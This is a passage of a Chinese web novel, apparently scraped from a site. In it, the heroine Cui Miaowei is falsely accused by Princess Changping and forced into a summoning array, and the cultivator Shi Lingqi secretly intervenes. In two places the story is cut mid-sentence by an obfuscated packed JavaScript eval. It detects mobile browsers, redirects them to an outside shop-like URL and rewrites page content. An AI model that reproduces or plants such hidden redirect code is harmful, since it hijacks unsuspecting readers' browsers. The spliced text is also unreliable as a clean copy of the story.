“阿娘可以请人去我房中妆台上找一封信,信中便是我数月前听到赵贞计划陷害我以后写下的密信,也可去庭院中找到那把‘专座’,上面有被雷劈的痕迹。” “再者,那个荷包也是铁证!” 昌平公主定定地望了崔妙微一会,挥挥手,示意邕娘去崔妙微的房中搜查。 邕娘很快便返回,果真带回了一封密信,以及一把边角焦黑的藤椅,她先把密信当着众人的面挑开火漆,抖出密信,连带着信封一同呈给众人传阅。 信上的墨迹早已干涩,信封上的火漆也略微开裂,这最早也是昨日写的信。 崔妙微一开始并不相信施令岐所说的预言,但她向来多思,未雨绸缪写一封信也并不麻烦。 崔妙微跪在廊下,仰头看着众人将这封密信传阅一圈,最后是焦黑的藤椅。 东西转了一圈,最后又回到了昌平公主面前。 崔妙微忍不住掐住了掌心,害怕又期待地看着昌平公主的脸色。 昌平公主沉默一会,目光复杂地看着崔妙微,“如果你说的是真的,为何不提前禀告本宫,反而藏在心中?” 崔妙微早知道会有此一问,连忙道:“我不想将事情闹大,一点误会,解开了便是了。” 崔妙微自己都半信半疑,若是假的,她这样恶意揣测赵贞,昌平公主又会如何看待她? 若是真的,就算她说了,又有谁会相信五独之人的话呢?就算公主信了,今日之灾躲过去,赵贞怀恨在心,就更防不胜防了。 崔妙微说完,鼓起勇气抬起头,直视着昌平公主的双眼,尽量让自己显得更可信一些。 公主从小就是这么教导她的,她要做一个心无恶念的人,此刻肯定也能知道她的无奈。 昌平公主看她半晌,眼神十分复杂,最后慢慢摇了摇头,缓缓道:“你一个五独之人,还与赵氏姐妹有怨,你会有那么好心为赵贞考虑?” ‘你会有那么好心?’ 这句话像是把崔妙微闷头打了一棍,她浑身一震,一时竟然不知道该说什么才好,有些不敢相信自己的耳朵,原本苍白的脸颊也慢慢变得通红。 一旁的赵氏也一怔,但她看着众人也都觉惊讶,立刻附和道:“郡主到底好不好心,我不知道,但郡主因专座的事与我两个女儿生了怨,这是所有人都知道的事……” 崔妙微心中煎熬,她没有搭理赵氏的煽风点火,只对昌平公主道:“公主教导我一心向善,我没有一刻不谨记在心,心中从无恶念,知道赵贞的计谋以后,只觉得她一时鬼迷心窍,我坐上专座,与她解除误会,便能握手言和。” “专座的事,我清者自清,就算真如赵夫人所说,这是诗社的规定,我更没有理由克害赵奉珠了。” 堂中众人各怀心思,一时没人开腔。 昌平公主在屋中扫视一圈,见竟然无一人出来为崔妙微说话,脸色更加难看,她失望地看着崔妙微,“握手言和是假,蓄谋报复是真,你就是因为挪了席位以后,女郎们都不愿意与你同坐,只能坐到庭院中,你便起了恶念,所以处心积虑地想了这么一招吧。” “静娘对你向来关照,但凡有一个人愿意与你同坐,你都不会落单,可想而知你在诗社中人缘如何!众人又是如何看待你的!” 崔妙微一时间只觉得五雷轰顶,怔怔地望着昌平公主,什么话也说不出口。 “长此以往下去,谁还容得下你!” 昌平公主说着情绪越来越激动,竟然俯身猛烈地咳嗽起来,崔妙微吓了一跳,想要上前,一旁的骆初静和邕娘却已经扶住了她。 昌平公主的脸色难看的要命,她喘着粗气被扶起来,恨铁不成钢地看着崔妙微,“我本以为你多少有几分良善,这才不让人管束你,谁知你都是装出来的,今日还酿下如此大祸……五独之人果然就是五独之人!” 这一段锥心之言,打的崔妙微耳边一阵空鸣声,好半天才找回自己的声音,“您也觉得我是在装善良吗?我是个坏人吗?” 为什么连昌平公主也这么想,她到底哪里还做得不够好?她不是全都按照公主所说的来做了吗?她到底还要怎么样? 昌平公主咳嗽的满脸通红,推开一直拦住她的骆初静,站起身质问道:“若不是,你为何因为几句排挤的话便逼赵二娘当众下跪道歉?方才刘二娘都告诉我们了!” 崔妙微红了眼眶,只能忍着委屈努力辩解道:“我没有,是长……” “你真非要把证据摆在眼前才肯认?”昌平公主厉声让刘二娘几人出来回话,“你们说,到底有没有赵贞下跪道歉这回事?” 刘二娘几人从人群中出来,刘二娘又看了看赵氏,咬了咬唇,便大着胆子点了点头,“是郡主要求的。” 宋三娘看出崔妙微想指认骆初静,不顾骆初静的阻拦,道:“就是郡主干的,咱们都看见了!” 昌平公主还点了几个社员出来,如此严肃的场合,刘宋二人都带了头,几人都胆怯的很,要么摇头不知,要么说确有此事。 崔妙微忍不住看向几人,她眼下的青黛仿佛都重了几分,人又瘦弱苍白,看起来简直像个幽魂,几人都避开了她的眼神,刘二娘低着头,躲在了刘氏怀中,宋三娘挡在骆初静身前,甚至气势汹汹地回瞪了崔妙微一眼。 骆初静看得着急,她咬了咬唇,不顾宋三娘的阻拦,主动跪在了崔妙微身边,“阿娘,此事与郡主无关,是我让贞娘下跪的。” 昌平公主看刘二娘等人的动作,闭了闭眼睛,颓废地靠在椅背上,“你不用替她遮掩。” 骆初静还要说话,昌平公主却摆摆手,示意邕娘将骆初静扶起来。 崔妙微慢慢垂下头,双手紧紧地握拳,直接刺痛掌心才罢休,颤着声音道:“就是长姐要求赵贞下跪道歉的。” 骆初静也推开邕娘,不愿意起来,“阿娘,我没有替郡主遮掩,此事确实是我考虑欠妥,这才惹出麻烦来。” 昌平公主却一拍桌子,对着崔妙微道:“难道我要信你这个五独之人而不信静娘吗?静娘会做出这种事来吗?” 崔妙微的眼眶一下就红了,骆初静则抿了抿唇,担忧地看了崔妙微一眼,不说话了。 昌平公主余怒未消,“如果你做的够好,怎么没有人为你说话?” 她越说越激动,“这么多人没有一个人站在你这边!你可是五独之人!她们敢于驳斥你,就说明是真的!” “她们就是知道我不会报复,这才如此行事!”崔妙微猛地抬起头,露出了微红的眼眶,“说来说去,阿娘就是已经先入为主觉得我心有恶念,觉得我是个恶人,自然什么都代表我坏了!” 昌平公主捂着胸口咳嗽,被她激烈的反抗弄得一愣,顿了顿才靠回椅背,缓缓道:“你这是对我不满?你太让我失望了,五独之人果然就是五独之人……” 昌平公主脸上激动的潮红褪去,只与苍白,她疲惫地闭上了眼睛,“此事过后,你便在密室中好好思过吧。” 崔妙微浑身一颤,一下便软了身子,瘫坐在地上,她只觉得眼前发黑,仿佛又回到了那个伸手不见五指的密室中,一个面容模糊的怪物在角落中对她虎视眈眈……她垂下头,耳边嗡嗡的响,一时间好像什么也听不见了,方才那种痛苦和激烈的情绪也消失了,她只是下意识地喃喃道:“不要,不要把我关起来……” 为什么,为什么总是这样,为什么明明都已经做到这种程度了,可还是不相信她,到底还要她怎么样呢……崔妙微伏在地上,重重地喘着粗气。 她隐约听到昌平公主让她进去做法,她一动不动,公主便让邕娘来扶她。 崔妙微恍惚地跟着邕娘动作,磕磕绊绊地往内室中去,她好像突然变成一个冷漠的旁观者,灵魂出窍,心无波澜地看着自己的动作。 “崔妙微!”直到耳边传来一道熟悉的声音,施令岐还是那种平静从容的语气,“振作起来。” 这道声音像她打开窗子时那股清新湿冷的风,让崔妙微浑身一震,一下就回了神,就像突然就从梦中惊醒了一般。 “不要害怕,事情还没有那么糟糕。”施令岐仿佛永远都是那么地理智冷静:“我保证不会让你被关起来。” “你还有事情要做。” 他的语气镇定得让崔妙微恍惚,“你还记得我说过的话吗,昌平公主不会轻易放弃你的,你写的信,符引子……疑点太多了,她却全都忽略,直接武断地就冤枉了你,这显然是不太正常的,就算她再不喜欢你,也该问问事情的前因后果,确认这封信到底是什么时候写的,符引子是从哪里来的,诗社里到底发生了什么。” 但昌平公主通通不在乎,她真有这么讨厌崔妙微吗?似乎也不是。 听着崔妙微的呼吸声没有那么急促了,施令岐才继续道:“与其不明不白的痛苦,不如搞清楚问题到底出在哪里,再想办法解决。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193447|197099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你现在要做的就是指出阵法有问题,为后续的计划做准备。” 崔妙微慢慢清醒过来,大口喘着气,惊觉自己出了满身的冷汗,也立刻意识到自己还有事要做。 崔妙微先轻轻地嗯了一声,然后推开了扶住自己的邕娘,强撑着抬起头看着昌平公主,“这个五独招魂阵有问题,我在书上看过,这是个凶阵,我进去就会失魂,我是不会做的,我愿意在这里静坐七日,以证清白。” 崔妙微理智回归,还抱着可以和赵贞硬耗的希望。 院中原本安静极了,闻言顿时议论起来。 玉枢真人本来插着手在一旁修养,立刻撇开两个给他扇风的小童,气得吹胡子瞪眼,“郡主何出此言?此阵是贫道在古籍中找到的秘法,从前留下来的都是好东西,怎么会是凶阵?” 昌平公主却只觉得她到了此刻都还在狡辩,忍着气对邕娘道:“扶她做什么?直接把她拖到阵法中去,本宫倒要看看她到底会不会失魂!” 邕娘为难极了,但也只能上前搀扶崔妙微。 崔妙微心中最后一丝希望被打破,邕娘托着她的肩膀继续往屋内去,她本不愿让人看笑话,可还是没忍住哭了起来,她低下头,不想让人看到她狼狈的样子,边抓住正房的门槛不肯放开,邕娘满脸不忍,道了一声得罪了,就强行掰开她的手,要把她拖抱到了内室。 崔妙微哭着挣扎起来,扒住门框不肯松开。 昌平公主如此强硬,弄得众人一时都不敢讲话。屋中安静极了,大家就这么眼睁睁看着邕娘要将福康郡主拖入阵中。 忽然,人群中有人出来,轻轻按住邕娘的手臂,制止了邕娘继续拉扯崔妙微的动作。 邕娘不明所以,回头一看,竟然是那个施道长。 施道长从腰间抽出一张符咒,举起来示意了一圈,将众人的注意力都吸引了过来,道:“这是一张探灵符,可以探出阵法的本源。” “本道于其余道无甚兴趣,独独对求仙一道情有独钟,曾机缘巧合下见过数百种阵法,真人的五独招魂阵确实闻所未闻,既然福康郡主曾在古籍上见过,本道请诸位宽容些许时间,容许本道向郡主赐教。” 闻言,众人都感兴趣,骆初静则在昌平公主耳边低声劝了几句,昌平公主皱起眉,冷冷地打量了这年轻的修士一眼,到底没有反对。 邕娘被他镇住,眼睁睁看着修士弯腰靠近,扯住崔妙微的手臂,把她从地上拉了起来,然后带着她往屋内去,崔妙微一路踉踉跄跄地跟着,青年松开手,崔妙微便瘫软在阵法边。 青年则在崔妙微身边半跪下,将符咒置于阵法旁,侧脸看向她,问道:“郡主,请问你是在哪本古籍上见过这个阵法?” 崔妙微到了此刻才发现自己浑身发抖,她满头雾水,从看过的古籍中磕磕绊绊编出了一个名字,“在……《说五行》上。” 崔妙微说完就后悔了,心脏狂跳……根本就没有这本书。 施道长转回目光,垂下眼帘专注地看着地上的阵法,边道:“古籍中说阵法是以什么起势?” 崔妙微大汗淋漓,拼命回想自己看过的有关阵法的书,只知道阵法是五行起势,紧张道:“阵法以……水木两行起势。” 说完,她就紧紧地攥着裙摆,几乎不敢看施道长的动作。 被戳穿了怎么办?施令岐会怪她没有把事情做好吗?昌平公主又会如何看待她呢? 施道长从腰间拿出一个火折子,点燃了手中的符咒,火光窜起,流星般射向阵法,阵法兀自亮了起来,显出蓝灰二色,引得众人一阵惊呼。 玉枢真人不惊呼,却差点原地蹦起来,边道:“这不可能啊!福康郡主怎么可能见过这个阵法?知道这个阵法以水木起源呢?这阵法是贫道在一本古籍中发现的。” 我都不知道是以水木起源的!这句话玉枢真人忍着没说出来,毕竟布阵也不用知道阵法的起源。 蓝灰二色便代表水木二源。 崔妙微垂着头,闭了闭眼睛,差点瘫在地上……她竟然蒙中了。 施道长轻抖指尖,火焰便熄灭了,他闻言笑了笑,道:“也许世间就有这么巧的事,福康郡主看过的阵法与前辈的五独招魂阵相似,又正好同属水木起势。” 崔妙微此时有种劫后余生的虚脱感,她扯起袖子抹了一把额上的汗,悄悄看了一眼施道长……她就这么猜中了? 玉枢真人此刻已经开始怀疑阵法是否有问题了,只能连连点头,“应是如此,应是如此。” 玉枢真人本就不是胆大的人,有了这个小插曲,立刻打了退堂鼓,迟疑道:“可若是这样的话,福康郡主是否还要做法呢?” 施道长看着地上的阵法,又看了看玉枢真人,好像十分贴心的提醒道:“五独之人若是失魂,恐怕不好招魂。” 玉枢真人一惊,急道:“施道友,这又有什么讲究?” 时人对五独之人实在是知之甚少。 施道长把用过的符引子整理起来,边耐心道:“从一本记载五独之人的古籍上看到的,叫《说五独》,前辈如果感兴趣,稍后我让下人找出来。” 玉枢真人来不及高兴,又想起正事,不由看向昌平公主,“公主,还请您做主才是,要不要请郡主入阵作法?” 若是阵法真有问题,崔妙微因此失魂,玉枢真人确实不会给五独之人招魂,不敢担责。 昌平公主似乎早忍不住了,“你只管让她作法,我还不了解她?她就是不想救赵贞才撒了谎,正巧撞上了,我倒要看看她会不会失魂!” 崔妙微本就是强作镇定,一直逃避自己要被施令岐偷魂的事,此刻因为一句五独之人不好招魂又变得起伏,心跳的特别快,她左顾右盼,总觉得施令岐就在暗中某个角落对她伺机而动……也许这一切都是只是他为了顺理成章偷走她魂魄而设下的圈套。 崔妙微被自己的猜想吓到了,她缩着身子往旁边退,邕娘上前便要拉她,却又被那个施道长抢先一步,他半跪在地上,一手按在阵法中,直接俯身越过阵法,将另一边的崔妙微拖到了阵法中。 他的手握着崔妙微的手臂,强硬又不容置疑,崔妙微要挣扎,他就抬眼看了崔妙微一眼,他的眼神平静又锐利,让崔妙微硬生生地定在了原地,不敢再动。 施道长则仰头看向玉枢真人,“不如让我试试起阵?” 玉枢真人犹豫一会,不愿意让修士独自与五独招魂阵共处,若是被偷师了该如何?可想到这修士许诺过奉上《说五独》,且阵法早已绘制好了,青年难道有绘制反阵偷师的能力不成?他一身的气质和谈吐,看着也不像这样的人,一咬牙便答应了。 众人于是开始往外退,崔妙微瘫坐在阵法中,看着昌平公主的背影,无法控制自己的眼泪。 修士在地上专注地摆弄法器,将灵玉安置在阵法中,边道:“哭可没用,打起精神来。” 崔妙微恐惧地看着他,想要爬起来躲在角落里。 她还没爬多远,修士头也不抬地调整灵玉的位置,却伸出一只手抓住她的手腕,将她硬生生扯了回来。 崔妙微被扯的撞在他身上,脸颊在他肩上紧紧贴了一下,温热陌生的触感让她怔了怔,然后猛地瞪大了眼睛,一时竟然忘了挣扎。 “别动。”修士平静道:“现在,要试试我的办法了。” 这道声音同时也响在了她的耳边,熟悉又陌生。 她震惊地望着眼前的施道长,或者说,施令岐。 13. 第 13 章 崔妙微呆坐在施令岐身边,一时回不过神来。 施令岐却没给崔妙微过多的时间用来震惊,他已经放置好了灵玉,起身从案桌上拿了纸笔,半跪回去,开始复刻‘五独招魂阵’,边道:“一炷香以后开始做法,你可以趁机调整一下状态。” 施令岐说完便专注地复刻阵法,他大概画了一小半,抽空转头看了崔妙微一眼,见她竟然还呆坐在地上。 施令岐想了想,把纸笔放下,起身抽了一把椅子过来,弯腰握住崔妙微的手腕,把她从地上扯了起来。 崔妙微本来傻着,突然被人拉起来,吓了一跳,刚想要挣扎,就发现自己已经坐在了椅子上。 下一刻,施令岐又扯了一把椅子过来,坐在了她对面。 男人身形高大,即使坐着也极具压迫感,更何况二人靠的很近,两个人的膝盖几乎要抵在一起,崔妙微慌忙回神,甚至不敢抬头。 施令岐双手抱臂,靠在椅背上,就这么打量了崔妙微一会。 崔妙微一直垂着头,脸色苍白,不敢抬眼看他。崔妙微心中有种极其割裂的感觉,眼前的修士高大俊朗,怎么会是那个在她耳边传音的邪修呢? 她输了赌约,施令岐又会让她做什么呢?崔妙微光是想想都觉得一阵心慌。 施令岐看着她下垂的眼帘,给了她一些时间缓神,而后解释道:“我没见过这个所谓的‘五独招魂阵’,所以为了保证你的安全,我需要一炷香的时间先检查阵法,确保我能在阵法起效之前拿走你的魂魄。” 施令岐并不信任玉枢真人,玉枢真人拿出来的阵法自然不能让崔妙微用。 崔妙微心烦意乱,不知道该说什么,只能赶紧附和似地笑了一下,“我明白了,是我在这碍事了,我只是刚才没回过神,现在就到边上去。” 说完,崔妙微就要起身离开,施令岐却歪了歪膝盖,轻轻挡了一下,二人的膝盖抵了一下,明明动作很轻,崔妙微的腿就像被烫到了一般。 她又坐了回去,不敢再乱动。 “不用,我不是让你换个地方坐。”施令岐靠在椅背上,“我只是觉得你状态不太好,正好我也想和你聊聊接下来的计划……你自己有什么想法吗?” 崔妙微其实脑中还是懵的,她输了赌约,只要言听计从就好了,还需要有什么想法吗?但施令岐都这么问了,她沉默了一会,还是小心翼翼道:“我只想让大家都知道我没有克害赵奉珠和赵贞,我是个心无恶念的人。” 她本以为施令岐会嘲笑她,都这样了还想做‘好’人,施令岐却平静地点了点头,“只要你配合我改变命运,你想当一个在别人眼中什么样的人都可以,我会为你办到的。” 崔妙微一下就明白了施令岐话里的意思,忍不住掐了掐手指……别人眼中的‘好’人吗? 施令岐似乎没发现她的纠结,继续道:“还有赵贞失魂陷害你的事,我怀疑她和骆初静有联系,否则骆初静今日的许多行为都不太符合你口中那个正直善良的长姐。” 崔妙微脑子里还在想他刚才的话,这会几乎是本能道:“大家都不是坏人,也许一切都只是巧合而已。” 施令岐嗤笑了一声,“我不管你怎么想的,你按照赌约配合我就行。” “我的计划大概是这样,你等会会先一步失魂,所以赵贞没有时机醒过来栽赃你,同时也可以博得昌平公主的愧疚。然后我会提出用密法为赵贞招魂……这个密法就是你。” 崔妙微一怔,就听施令岐平静道:“我不管你是打她骂她威胁她还是弄死她,你都要把她搞醒,让她再也不敢躺在那诬陷你……否则我就会找你的麻烦。” “你今天必须在诗社树立自己的威信,必须踩到赵贞的脸上。” 崔妙微吞了吞口水,她知道自己该对施令岐言听计从,但还是忍不住焦虑道:“我不想……我不敢,我是五独之人,如果被人发现了……” 施令岐直接打断了她,“那就全都推到我身上,是我逼你的。” “难道你自己就不想报复回来吗?” 崔妙微的睫毛轻颤两下,下意识就想要辩解,她心无恶念,怎么会有这种不好的想法呢? 崔妙微飞快抬眼看他一眼,刚要张口说话,施令岐便道:“不管你想不想报复,你都不用说那些我不爱听的话,我做我该做的,你也要遵守约定做你该做的,想不想都得做了,因为我要求你报复,你就得照做。” 崔妙微张了张口,竟然一句话也说不出来。 她想报复吗?崔妙微抿了抿唇。 施令岐没有对此再多说什么,适时地转移了话题,“至于赵奉珠的案子……” 施令岐想了想,道:“不会有邪修蠢到在道观里采生,我向玉枢真人旁敲侧击过这件事,赵奉珠多半不是死于失魂,这件事我会调查清楚的。” 刚说完崔妙微‘该做的’,这件事就是施令岐‘该做的’,崔妙微只能点了点头,声音嘶哑道:“我知道了……道长,你继续检查阵法吧。” “你自己做准备吧。”施令岐最后看她一眼,便起身去检查起了阵法。 道术分为咒术和阵术,咒术无形,阵术有形,阵术也常被称作阵法,阵法是由规律的线条和阵眼组成,布阵就是先画出线条,结合每个地方不同的风水再确定合适的阵眼,最后在阵眼上施加灵气,便可催动阵法。 施令岐几乎过目不忘,扫了一遍就把线条记住了,他拿出笔,在一旁的案桌上将线条复刻下来,一遍就成功了。 但复刻线条不代表就能复刻阵法的效果,因为画阵不仅在乎线条的布局,还有先后的顺序,堪称差之一毫失之千里,玉枢真人也因此才敢让施令岐做法,因为一个阵法线条少说百条,想要分清每根线条的先后顺序,几乎是妄想,且复刻的过程需要花费灵力,世间也仅有几人有这样的能力。 不巧,施令岐就是其中之一。 他此刻没有时间细看,只将阵法的布局记在心中,稍后再仔细研究。 但光靠线条的设计,施令岐也能大概分辨出这个阵法的效果,因为此阵其实是以水金起源,水属阴,金少阴,确实都是和灵魂有关。 这可能就是个改良过的招魂阵,也有可能是会危害灵魂的凶阵。 但不管如何,施令岐都不准备让这个阵法在崔妙微的身上起效。 崔妙微则坐在椅子上沉思,怎么才能让赵贞心甘情愿地醒过来呢?还得在诗社中立威…… 崔妙微有些痛苦地揉了揉额头,慢慢靠在了椅背上,下意识看向了屋中的另一个人。 施令岐正垂头在案桌上画阵法,垂下的眼帘在脸上映出一道阴影……他好像不管做什么都很专注。 施令岐察觉到崔妙微在看他,但他没在意,确定自己把阵法背了下来了,又在纸上画了一遍,对比布局相同,稍后可以复刻出来以后,就将法器都收起来。 崔妙微一直紧盯他的动作,见他这样,下意识看向案桌上的香。 一炷香正好要烧完了,崔妙微立刻便紧张起来……她真的能相信施令岐吗?如果施令岐借机采生她,或者对她的灵魂做些什么,该怎么办? 施令岐则自顾自地把东西整理好,瞥了崔妙微一眼,见她一直低头,便从箱子里翻出一张纸条,拿笔写了几句咒语,坐回了崔妙微的对面。 施令岐把纸条递给了她,边道:“你把这个咒语记在心中,一会玉枢真人做法之前你在心中默念,魂魄就会跟着我走。” “一定要在玉枢真人做法之前,否则可能会有危险。” 崔妙微即使心中抗拒,但还是接了过来。 施令岐靠在椅背上,不动声色地观察了崔妙微一会,目光在她泛红的眼眶上停了停,“时间仓促,你先把咒语记下来吧。” 崔妙微很想多拖延一会,可咒语不长,她很快便记下来了,还是硬着头皮多拖了一会,这才不得不抬起头,说自己记下了,眼睛却只敢看到施令岐的胸口的地方,做出一副谦卑地洗耳恭听的模样。 施令岐抱臂垂眼,也并不看她,只道:“背会了?” 崔妙微的目光落在男人的膝盖上,下意识点了点头,下一刻,手中的纸条就被男人轻轻地抽走了。 施令岐拿走纸条,起身到角落处打开一个箱子,边道:“等会你的魂魄会离开这,去我的同伴那里,他们正以我下人的身份在公主府的外院被招待,你到时不必惊慌,你在预言中会杀害的人也在那,她会告诉你一切的前因后果,然后把你带进来。” 这一连串的信息让崔妙微有些猝不及防,她飞快地抬眼看了一眼角落,只见施令岐半跪着,背对着崔妙微,打开了一个一人宽的箱子。 崔妙微想不明白,只是第一次见面,二人的身份还如此的尴尬对立,施令岐为什么能那么坦荡自然。 崔妙微用袖摆擦了擦额头,犹疑道:“你说要让我唤醒赵贞,可我变成灵魂了,你的同伴怎么把我带回来呢?” 施令岐将纸条放好,挑拣一会,抽出了一张黄色符纸,他把箱子合上,道:“我会仿照你的相貌为你做合适的身体,你的本体留在外面,你用新的身体去唤醒赵贞……你到时候就知道了。” 什么样的术法,能做一具新的身体?施令岐还用这种平常的语气。 崔妙微莫名有些胆寒。 施令岐似乎并不觉得有什么特别的,他来到崔妙微身边,把符咒递向她,“一会做法,你把它握在手中,可以以防万一保证你的安全。” 崔妙微认出这是灵气符,她虽然只在书上见过,但她知道此符和灵玉的作用相同,里面也有灵气,整个洛阳城都没几张。 崔妙微下意识就伸手去接,没有人会拒绝一张灵气符,尤其是在这种时候。 她捏住符咒的一角一扯,却扯不动,她愣了愣,小心地抬了抬眼神,就发现施令岐并没有松手……再抬头,他正安静地看着她动作。 黄色的符咒在两人手中绷直,崔妙微这才发现两个人的距离很近,她能看清施令岐手背上黛色的血管,因为用力,微微地绷着。 崔妙微心跳有些快,下意识松了手。 施令岐居高临下地看着她,轻声道:“你刚才有好好听话吗?” “背背看。” 崔妙微怔了怔,她的目光抬起,和施令岐对视了一会,然后下垂,停留在施令岐拿着符咒的手上。 不知为何,她就这样把咒语背了一遍,然后再次抬手,轻轻扯了扯符咒。 “很好。”施令岐这次顺从地松开手,符咒便慢慢垂下来,轻轻撘在崔妙微的手指上。 崔妙微的手指像是被烫了一下蜷缩起来,她把符咒握在手中,不知为何,有些不敢看他,这与方才的恐惧好像又有些不一样。 施令岐似乎一无所觉,像老师考察学生的功课一样自然,他越过崔妙微,接着将原本为了做法解下的弓拿了起来。 崔妙微本垂着头,余光立刻捕捉到了他的动作,下意识看了一眼案桌上几乎燃尽的香,明白这次是真的要开始做法了,背后一下就出了一层冷汗。 她把刚才奇怪的感觉赶出脑海,鼓起勇气道:“你真的不会借此机会采生我吗?” 也许施令岐在修炼什么邪功,需要她心甘情愿地失魂被采生呢? 崔妙微的脑中不断地回想那个书生邪修的故事,邪修都是丧心病狂的,邪修都…… 施令岐却头也不回直接出了门,崔妙微能感到自己的心口重重的跳了一下,反应过来自己刚才的声音太小了,施令岐甚至没听到,她也没有勇气再叫住施令岐,只能眼睁睁地看着他将玉枢真人叫了进来。 玉枢真人很快便进来作法,崔妙微只能配合地坐在法阵中,她看着玉枢真人催动阵法,心脏狂跳,紧紧地攥着灵气符,她到底该不该相信施令岐? 可玉枢真人就值得相信吗?万一五独招魂阵真的是个凶阵呢? 崔妙微额上都是冷汗,简直像淋了雨一般,就这样煎熬到最后一刻,她想回忆方才的咒语,慌乱地发现自己大脑一片空白,手心却突然一热,那张符咒好像在她手中燃烧了,她在惊恐中慢慢失去了意识。 也许是太累了,她的满心的恐惧彷徨,在失去意识时,竟然消失了,有那么一刻,她竟然希望施令岐真的把她采生了,或五独招魂阵就是个凶阵,她只留下一具苍白的尸体。 公主看到的时候,是否会后悔没有相信她呢? · 目送玉枢真人进去作法,昌平公主的神情却并不轻松,她看着窗外的雨幕一言不发。 骆初静端来了汤药,昌平公主也无瑕去喝,她让骆初静坐到自己身边来,“你先前不是说她在诗社有一个朋友吗?我可一点也没看出来。” 骆初静一怔,慢慢垂下了眼帘,“郡主去年刚进诗社的时候确实交了一个朋友,后来不知为何便疏远了。” 骆初静边说边抬起手,往角落里指了指。 昌平公主的目光立刻跟过去,看到了一个女郎,那是个与崔妙微差不多大的女郎,正是青春的年纪,脸上却有一块巨大的红斑,几乎遮盖了她脸颊的一半,十分显眼。 这个女郎方才也没参加潇湘诗社的诗会,反而是跟着母亲去参加了昌平公主在百芳园的诗会,因此,昌平公主对她有几分眼熟。 女郎是孟家二娘孟真然,与崔妙微同年入诗社,崔妙微因五独之人的身份被排挤,孟真然因貌有瑕疵屡遭嘲笑,二人都不合群,又爱读书,便慢慢结交起来,后来不知为何突然便断交。 孟真然为人有些孤僻,与崔妙微断交以后也不再与旁人往来,但在诗社中还是屡屡被提起,只因她有个自小定亲的门当户对的未婚夫,生的风流倜傥,又很有才华,很是惹眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193448|197099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骆初静想了想,补充道:“好像就是去年年中的事情,二人突然就不说话了,再后来,孟二娘就不愿来诗社了。” 昌平公主沉思一会,便将邕娘叫来,让她去找人打探,边对骆初静道:“你为何不早些告诉我呢?难不成是郡主欺负了这个女郎?” 骆初静惭愧道:“我不知她们闹了什么别扭,若是郡主不对,难免让您苛责,她毕竟还小……” 昌平公主叹了口气,“多半就是她不对了,你就是太为别人想了,她却……” 骆初静沉默一会,安慰道:“郡主年纪还小,又身负五独这样的命格,难免犯错,也许只是一时左了性子,阿娘以后好好教导便是。” 昌平公主叹了口气,“她不如你省心,你只比她大了一岁,从小到大谁不夸奖你喜欢你?再看她,她今日不仅害了人,还要扯到你身上……” 昌平公主说着又有些激动起来,骆初静将圆凳拖至她身边,轻轻为她抚胸口,“贞娘给郡主下跪,确实是我逼她的,您身子本来就不好,万万不要为此动气了。” 昌平公主靠在椅背上,目光柔和地看着她,“你不用替妙娘遮掩,此事我必然要好好惩罚她,只是她如今大了,不愿意有人总盯着她,你就更要警醒一些,更关注她一些,否则她满心恶念没有遏制,日后有谁容得下她?” 骆初静不知道该说什么才好,只能笑了笑。 昌平公主看着她,见她亭亭玉立的模样,不由道:“你们都大了,妙娘的婚事早有着落,你还没有头绪,依阿娘看,那个宋二郎就很不错,我打量着,他是很得意你的。” “你与宋三娘也交好,妯娌之间就更没有龌龊了。” 骆初静忍不住咬了咬唇,为昌平公主抚胸口的手也顿了顿,“我到觉得自己年纪还小,还想多陪在阿娘身边一段时日,也能帮阿娘关照妙娘,至于婚事……明年再提也不迟。” 昌平公主又叹了口气,忽然想起了什么,她在人群中看了看,疑惑道:“怎么不见裴二郎?” 只要崔妙微出门,去的是裴善道能去的地方,他必陪伴在左右,生怕有人欺负了她。 骆初静下意识避开昌平公主的眼神,也跟着抬起头看了一圈,“裴二郎新官上任,许是有什么事要忙,所以没来。” 崔妙微只要外出,裴二郎总是要跟着,寸步都不肯离开,怎么今日出这么多事,他倒是不在了? 昌平公主正要说话,正房的门就被玉枢真人推开了,众人连忙看过去,他捋了捋胡子,再没有刚来时的运筹帷幄了,尴尬地立在门槛后。 赵氏第一个迎上去,急切道:“贞娘醒了吗?” “这……赵娘子未曾回魂……”玉枢真人满头大汗。 赵氏瞪大了眼睛,玉枢真人连忙又道:“不过福康郡主也昏迷了。” 赵氏的眼睛瞪得更大了。 众人一窝蜂地涌进了正房,果然便见崔妙微仰面躺在地上,面色白中透青,看着不像装的。 难不成此阵真是凶阵?福康郡主也失魂了? 玉枢真人追在后面解释,“实在奇怪,我刚催动阵法,郡主便昏倒了,这,这……” 昌平公主上前轻轻推了推崔妙微的肩膀,崔妙微双目紧闭,一点反应也没有,昌平公主皱起眉,让邕娘与骆初静将崔妙微扶起来安置在软榻上,立刻叫医女来诊治。 医女来的很快,先掐了崔妙微的人中,又扎了十宣穴,崔妙微的脸色反而愈发青白了。 骆初静坐在软榻边,找了张软榻为崔妙微盖住,不悦地看向玉枢真人,“郡主好好地进去,为何突然人事不知?难道这个阵法真有问题?郡主也失魂了?” “不是失魂,贫道已经确认过了,不是失魂。”玉枢真人早就汗流浃背了,五六个小童捧着书围着他,他转着圈地翻,“贫道都是按书上来的,观中的藏书怎么会有错呢?这可都是以前留下来的好东西啊,还请给贫道些时间,兴许是哪里出了差错……” 